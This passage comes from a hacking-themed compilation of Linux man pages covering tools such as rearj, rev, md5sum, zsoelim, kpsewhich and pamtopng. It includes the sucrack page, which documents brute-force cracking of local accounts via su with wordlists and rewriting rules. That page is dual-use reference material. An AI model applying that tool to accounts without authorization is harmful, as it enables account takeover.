nroff usually outputs a series of backspaces and underlines intermixed with the text to indicate underlining. No attempt is made to optimize the backward motion.

SEE ALSO

colcrt(1), login(1), man(1), nroff(1), setenv(3), terminfo(5)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The ul command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

743 - Linux cli command pbmtoplot

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoplot and provides detailed information about the command pbmtoplot, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoplot.

.

NAME 🖥️ pbmtoplot 🖥️

convert a PBM image into a Unix ‘plot’ file

SYNOPSIS

pbmtoplot [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoplot reads a PBM image as input and produces a Unix plot file as output.

Note that there is no plottopbm tool - this transformation is one-way.

OPTIONS

There are no command line options defined specifically for pbmtoplot, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbm(1) , plot(1)

AUTHOR

Copyright (C) 1990 by Arthur David Olson.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoplot.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

744 - Linux cli command rearj

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rearj and provides detailed information about the command rearj, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rearj.

NAME 🖥️ rearj 🖥️

Converts other archive formats to .arj files

SYNOPSIS

rearj [options] <!listfile(s)|filespec(s)|wildname(s)>

DESCRIPTION

The rearj command can repackage other archive formats to arj.

OPTIONS

-+
Ignore REARJ_SW variable.

-a*[suffix]*
Convert archives within archives ("*" for all formats).

-bcommand
Execute command before extracting files.

-ccommand
Execute command on extracted files before counting them.

-d
Delete original archives.

-e
No error switch.

-f
Convert diskette archives.

-g
Skip creation of output archive.

-i*[name]*
Check integrity of rearj program.

-j
Skip if output archive size is larger than the original.

-k
Skip archive timestamping.

-l*[name]*
Write append log file (default name is rearj.log).

-m*[date]*
Select archives before date in YYMMDDHHMMSS format.

-n*[date]*
Select archives on or after date in YYMMDDHHMMSS format.

-o
Allow overwrite of existing target archive.

-p
Ignore long filenames under Windows 95.

-q
Query for each archive to convert.

-r
Recurse through subdirectories.

-s
Skip verify of file count and total size.

-tsuffix
Create suffix type archives.

-u*[bak]*
Allow update of archive with backup (default is BAK).

-v
Execute configured command on extracted files.

-wdir
Assign work directory.

-x*[!]file*
Exclude by filename, wildname, or listfile.

-y*[text]*
Delete output archive and write text to log (testing mode).

-z
Simulate operation.

ENVIRONMENT

REARJ_SW If set, its value will be used as command line options.

EXIT STATUS

0
Success.

1
File not found.

2
File is not a configured archive type.

3
Target archive already exists.

4
Not enough disk space.

5
User skipped or user did not select update option.

6
UNPACK command error.

7
PACK command error.

8
Target cannot support directories.

9
Wrong file count.

10
Wrong total size.

11
Internal archive REARJ error.

12
Rename archive error.

13
Invoked -v command error (found a virus?).

14
Output archive is larger.

EXAMPLE

rearj * -r -d
Convert all archives to ARJ format, searching all subdirectories, deleting original archives.

SEE ALSO

arj(1).

AUTHOR

This manual page was written by Ola Lundqvist <[email protected]> in pod format, then converted by Guillem Jover <[email protected]> to nroff format.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

745 - Linux cli command psmerge

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psmerge and provides detailed information about the command psmerge, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psmerge.

NAME 🖥️ psmerge 🖥️

filter to merge several PostScript files into one

SYNOPSIS

psmerge [ -oout.ps ] file.ps …

DESCRIPTION

Psmerge merges PostScript documents into a single document. It only works in the specific case the the files were created using the same application, with the same device setup and resources (fonts, procsets, patterns, files, etc) loaded.

If the -o option is used, output will be sent to the file named, otherwise it will go to standard output.

Psmerge will merge multiple files concatenated into a single file as if they were in separate files.

AUTHOR

Copyright (C) Angus J. C. Duggan 1991-1995

SEE ALSO

psbook(1), psselect(1), pstops(1), epsffit(1), psnup(1), psresize(1), psmerge(1), fixscribeps(1), getafm(1), fixdlsrps(1), fixfmps(1), fixpsditps(1), fixpspps(1), fixtpps(1), fixwfwps(1), fixwpps(1), fixwwps(1), extractres(1), includeres(1), showchar(1)

TRADEMARKS

PostScript is a trademark of Adobe Systems Incorporated.

BUGS

psmerge is for a very specific case; it does not merge files in the general case.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

746 - Linux cli command rev

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rev and provides detailed information about the command rev, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rev.

NAME 🖥️ rev 🖥️

reverse lines characterwise

SYNOPSIS

rev [option] [file…]

DESCRIPTION

The rev utility copies the specified files to standard output, reversing the order of characters in every line. If no files are specified, standard input is read.

This utility is a line-oriented tool and it uses in-memory allocated buffer for a whole wide-char line. If the input file is huge and without line breaks then allocating the memory for the file may be unsuccessful.

OPTIONS

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

-0, –zero

Zero termination. Use the byte � as line separator.

SEE ALSO

tac(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The rev command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

747 - Linux cli command md5sum.textutils

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command md5sum.textutils and provides detailed information about the command md5sum.textutils, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the md5sum.textutils.

NAME 🖥️ md5sum.textutils 🖥️

compute and check MD5 message digest

SYNOPSIS

md5sum [OPTION]… [FILE]…

DESCRIPTION

Print or check MD5 (128-bit) checksums.

With no FILE, or when FILE is -, read standard input.

-b, –binary
read in binary mode

-c, –check
read checksums from the FILEs and check them

–tag
create a BSD-style checksum

-t, –text
read in text mode (default)

-z, –zero
end each output line with NUL, not newline, and disable file name escaping

The following five options are useful only when verifying checksums:

–ignore-missing
don’t fail or report status for missing files

–quiet
don’t print OK for each successfully verified file

–status
don’t output anything, status code shows success

–strict
exit non-zero for improperly formatted checksum lines

-w, –warn
warn about improperly formatted checksum lines

–help
display this help and exit

–version
output version information and exit

The sums are computed as described in RFC 1321. When checking, the input should be a former output of this program. The default mode is to print a line with: checksum, a space, a character indicating input mode (’*’ for binary, ’ ’ for text or where binary is insignificant), and name for each FILE.

Note: There is no difference between binary mode and text mode on GNU systems.

BUGS

Do not use the MD5 algorithm for security related purposes. Instead, use an SHA-2 algorithm, implemented in the programs sha224sum(1), sha256sum(1), sha384sum(1), sha512sum(1), or the BLAKE2 algorithm, implemented in b2sum(1)

AUTHOR

Written by Ulrich Drepper, Scott Miller, and David Madore.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cksum(1)

Full documentation <https://www.gnu.org/software/coreutils/md5sum>
or available locally via: info ‘(coreutils) md5sum invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

748 - Linux cli command sucrack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sucrack and provides detailed information about the command sucrack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sucrack.

NAME 🖥️ sucrack 🖥️

is a multithreaded Linux/UNIX tool for brute-force cracking of local user accounts via su.**

SYNOPSIS

sucrack [options] wordlist

DESCRIPTION

sucrack is a multithreaded Linux/UNIX tool brute-force cracking tool that drives su(1) with referencing a specific user and uses words from a wordlist as passwords. Running sucrack does not require high privileges on the target system.

OPTIONS

sucrack allows reading passwords from stdin. In that case, use ‘-’ instead of a filename as wordlist parameter.

Common options:
-h
print help message

-a
use ansi escape codes for nice looking statistics (requires –enable-statistics configuration flag)

-s <seconds>
statistics display intervall (requires –enable-statistics configuration flag)

-c
only print statistics if a key other than `q’ is pressed

-r
enable rewriting of dictionary words (see rules below)

-w <num>
number of threads to run with.

-b <size>
size of the word list buffer

-u <user>
user account to su to

-l <rules>
specify certain rules for the rewriting process

Rewriting rules:
A
Rewrite word with only upper case characters

F
Rewrite word with first character as upper case

L
Rewrite word with last character as upper case

a
Rewrite word with only lower case characters

f
Rewrite word with first character as lower case

l
Rewrite word with last character as lower case

D
Prepend each digit (0-9) to the word

d
Append each digit (0-9) to the word

e
enleet the word

x
apply all rules to a word

ENVIRONMENT VARIABLES

SUCRACK_SU_PATH
The path to su (usually /bin/su or /usr/bin/su)

SUCRACK_AUTH_FAILURE
The message su returns on an authentication failure (like “su: Authentication failure” or “su: Sorry”)

SUCRACK_AUTH_SUCCESS
The message that indicates an authentication success. This message must not be a password listed in the wordlist (default is “SUCRACK_SUCCESS”)

AUTHOR

Nico Leidecker <[email protected]>
http://www.leidecker.info

SEE ALSO

su(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

749 - Linux cli command update-desktop-database

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command update-desktop-database and provides detailed information about the command update-desktop-database, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the update-desktop-database.

NAME 🖥️ update-desktop-database 🖥️

desktop-database - Build cache database of MIME types handled by desktop files

SYNOPSIS

update-desktop-database [-q|–quiet] [-v|–verbose] [DIRECTORY…]

DESCRIPTION

The update-desktop-database program is a tool to build a cache database of the MIME types handled by desktop files.

The cache database contains the list of MIME types that can be handled by desktop files, as well as, for each MIME type, a list of desktop files that can handle this MIME type. This cache database ease the work of applications that need to find an application that can open a document of a specific MIME type: those applications will not have to parse all the desktop files existing on the system, and can instead parse this cache database.

If no DIRECTORY is specified as argument, the desktop files that will be processed are the ones installed in $XDG_DATA_DIRS/applications.

If both the –quiet and –verbose options are used, then –verbose will be ignored.

OPTIONS

The following options are supported:

-q, –quiet
Do not display any information about processing and updating progress.

-v, –verbose
Display more information about processing and updating progress.

NOTES

If an invalid MIME type is met, it will be ignored and the creation of the cache database will continue.

The format of the cache database is a simple desktop entry format, with a MIME Cache group, containing one key per MIME type. The key name is the MIME type, and the key value is the list of desktop file that can handle this MIME type.

The order of the desktop files found for a MIME type is not significant. Therefore, an external mechanism must be used to determine what is the preferred desktop file for a MIME type.

EXAMPLE

Here is a simple example of a cache database:

[MIME Cache] application/x-shellscript=gedit.desktop; text/plain=gedit.desktop;gvim.desktop; video/webm=totem.desktop;

This cache database is created with three desktop files, each containing a MimeType key:

gedit.desktop: MimeType=text/plain;application/x-shellscript; gvim.desktop: MimeType=text/plain; totem.desktop: MimeType=video/webm;

FILES

$XDG_DATA_DIRS/applications/mimeinfo.cache

This file is the cache database created by update-desktop-database.

BUGS

If you find bugs in the update-desktop-database program, please report these on https://bugs.freedesktop.org.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

750 - Linux cli command zsoelim

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zsoelim and provides detailed information about the command zsoelim, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zsoelim.

NAME 🖥️ zsoelim 🖥️

satisfy .so requests in roff input

SYNOPSIS

zsoelim [ -CVh ] [ file . . . ]

DESCRIPTION

zsoelim parses file arguments, or if none are specified, its standard input for lines of the form:

.so < filename >

These requests are replaced by the contents of the filename specified. If the request cannot be met, zsoelim looks for filename.ext where .ext can be one of .gz, .Z or .z. Other extension types may be supported depending upon compile time options. If the request can be met by a compressed file, this file is decompressed using an appropriate decompressor and its output is used to satisfy the request.

Traditionally, soelim programs were used to allow roff preprocessors to be able to preprocess the files referred to by the requests. This particular version was written to circumvent problems created by support for compressed manual pages.

OPTIONS

-C, –compatible
This flag is available for compatibility with other soelim programs. Its use is to enable .so requests followed by something other than whitespace. As this is already the default behaviour, it is ignored.

-h, –help
Print a help message and exit.

-V, –version
Display version information.

SEE ALSO

groff(1), man(1), nroff(1), troff(1)

AUTHOR

Wilf. ([email protected]).
Fabrizio Polacco ([email protected]).
Colin Watson ([email protected]).

BUGS

https://gitlab.com/man-db/man-db/-/issues
https://savannah.nongnu.org/bugs/?group=man-db

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

751 - Linux cli command kpsewhich

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kpsewhich and provides detailed information about the command kpsewhich, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kpsewhich.

NAME 🖥️ kpsewhich 🖥️

standalone path lookup and expansion for kpathsea

SYNOPSIS

kpsewhich [options] [filenames]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Kpathsea: A library for path searching.

kpsewhich is used as a standalone front-end of the kpathsea library that can be used to examine variables and find files. When the -format option is not given, the search path used when looking for a file is inferred from the name given, by looking for a known extension. If no known extension is found, the search path for TeX source files is used.

OPTIONS

kpsewhich accepts the following options:

-debug* num*
Set debugging flags.

-D* num*
Use a base resolution of num; the default, set by the installer, is typically 600.

-dpi* num*
As -D.

-engine* string*
Set $engine in the environment, which is used in some search paths.

-expand-braces* string*
Print variable and brace expansion of string.

-expand-path* string*
Print complete path expansion of string.

-expand-var* string*
Print variable expansion of string.

-format* name*
Use file type name. See the info manual for a list of valid names, or use the -help option to print the list.

-help
Print help message and exit.

-interactive
Ask for additional filenames to look up.

-mktex* fmt*
enable mktexfmt generation. (fmt=pk/mf/tex/tfm)

-mode* string*
Set device name for $MAKETEX_MODE to string; no default.

-must-exist
Search the disk as well as ls-R if necessary.

-no-mktex* fmt*
disable mktexfmt generation. (fmt=pk/mf/tex/tfm)

-path* string*
Search in the path string.

-progname* string*
Set program name to string.

-show-path* name*
Output search path for file type name. See the info manual for a list of valid names, or use the -help option to print the list.

-var-value* variable*
Print the expansion of variable.

-version
Print version information and exit.

SEE ALSO

mktexlsr(1), mktexmf(1), mktexpk(1), mktextfm(1).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

752 - Linux cli command pamtopng

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtopng and provides detailed information about the command pamtopng, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtopng.

.

NAME 🖥️ pamtopng 🖥️

convert a Netpbm image to PNG

SYNOPSIS

pamtopng [-verbose] [-transparent=color] [-background=color] [-gamma=value] [-chroma=’wx wy rx ry gx gy bx by] [-srgbintent=intent] [-time=[yy]yy**-mm-dd hh:mm:ss] [-text=file] [-ztxt=file] [-itxt=file] [-interlace**] [pnmfile]

OPTION USAGE

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of a single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamtopng reads a Netpbm image as input and produces a PNG image as output.

Color component values in PNG files are either 8 or 16 bits wide, so where necessary pamtopng scales colors to have a maxval of 255 or 65535. In that case, it will add an sBIT chunk to indicated the original bit-depth.

pamtopng works only on images with maxval 1, 3, 15, 255, or 65535. You can use pamdepth to convert an image with some other maxval to one of these.

pamtopng produces a color PNG from a color PAM, even if the only colors in the image are shades of gray. To create a graycale PNG, from such an image (which might be slightly smaller), you can use other Netpbm programs to convert the input to grayscale.

Alternative: pnmtopng

Netpbm contains another program for generating PNG images: pnmtopng. pnmtopng is a much older program - it is in fact the first program in the world that could generate a PNG. pnmtopng is a complex, feature-laden program. It lets you control various arcane aspects of the conversion and create PNGs with various arcane features. It does various transformations on the image to create the greatest compression possible, to a degree that probably doesn’t make any difference in the modern world.

The main advantage pamtopng has over pnmtopng is that the former can use the transparency channel of a PAM image to generate the transparency information in the PNG. In contrast, handling of the alpha channel is very cumbersome with pnmtopng.

One difference that does not exist, that some people might incorrectly infer from the names, is the possible input formats. Both programs can take PBM, PGM, PPM, and PAM input.

Because pnmtopng has been around virtually forever, programs and procedures that use it are more portable than those that use pamtopng. Its age and popularity also probably make it have fewer bugs.

pamtopng does not have any way to do what the following do in pnmtopng:

  • -palette

  • -history

  • -filter

  • -size

  • -paeth

  • -hist

  • -nofilter

  • -sub

  • -up

  • -avg

  • -force

  • -libversion

  • -compression

  • **-comp_**xxx

These are some of the other functions of pnmtopng that pamtopng lacks:

  • When you specify a transparent or background color that is not in the image, pnmtopng can optionally choose the closest one that is in the image. pamtopng always uses the exact color you specify.

Features that exist in both programs are controlled by largely the same command syntax. But there are these differences:

  • pnmtopng’s -rgb option is -chroma in pamtopng. -chroma is a better name, and in fact was the name that pnmtopng used originally, but we had to change it when we had to change the syntax of the option value to conform to the rest of Netpbm.

  • pnmtopng’s -modtime option is -time in pamtopng. The origin of -modtime is analogous to that of -rgb.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtopng recognizes the following command line options:

**-transparent=**color
pamtopng marks the specified color as transparent in the PNG image – Every pixel of this color is fully transparent. This causes pamtopng to include a tRNS chunk in the image identifying that color.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine . E.g. red or rgb:ff/00/0d.

**-background=**color
This causes pamtopng to create a background color chunk in the PNG output which can be used for subsequent transparency channel or transparent color conversions. Specify color the same as for -transparent.

**-gamma=**value
This causes pamtopng to create a gAMA chunk. This information helps describe how the color values in the PNG must be interpreted. Without the gAMA chunk, whatever interprets the PNG must get this information separately (or just assume something standard). If your input is a true PPM or PGM image, you should specify -gamma=.45. But sometimes people generate images which are ostensibly PPM except the image uses a different gamma transfer function than the one specified for PPM. A common case of this is when the image is created by simple hardware that doesn’t have digital computational ability. Also, some simple programs that generate images from scratch do it with a gamma transfer in which the gamma value is 1.0.

**-chroma=**chroma_list
This option specifies how red, green, and blue component values of a pixel specify a particular color, by telling the chromaticities of those 3 primary illuminants and of white (i.e. full strength of all three).

The chroma_list value is a blank-separated list of 8 floating point decimal numbers: the CIE-1931 X and Y chromaticities (in that order) of each of white, red, green, and blue, in that order.

This information goes into the PNG’s cHRM chunk.

In a shell command, make sure you use quotation marks so that the blanks in chroma_list don’t make the shell see multiple command arguments.

**-srgbintent=**intent
This asserts that the input is a pseudo-Netpbm image that uses an sRGB color space (unlike true Netpbm) and indicates how you intend for the colors to be rendered. It causes pamtopng to include an sRGB chunk in the PNG image that specifies that intent, so see the PNG documentation for more information on what this really means.

intent is one of:

  • perceptual

  • relativecolorimetric

  • saturation

  • absolutecolorimetric

**-text=**filename
This option lets you include arbitrary text strings in the PNG output, as tEXt chunks.

filename is the name of a file that contains your text strings.

The output contains a distinct tEXt chunk for each entry in the file.

Here is an example of a text string file:

	Title           PNG file
	Author          John Doe
	Description     how to include a text chunk
                        PNG file
	"Creation Date" 2015-may-11
	Software        pamtopng

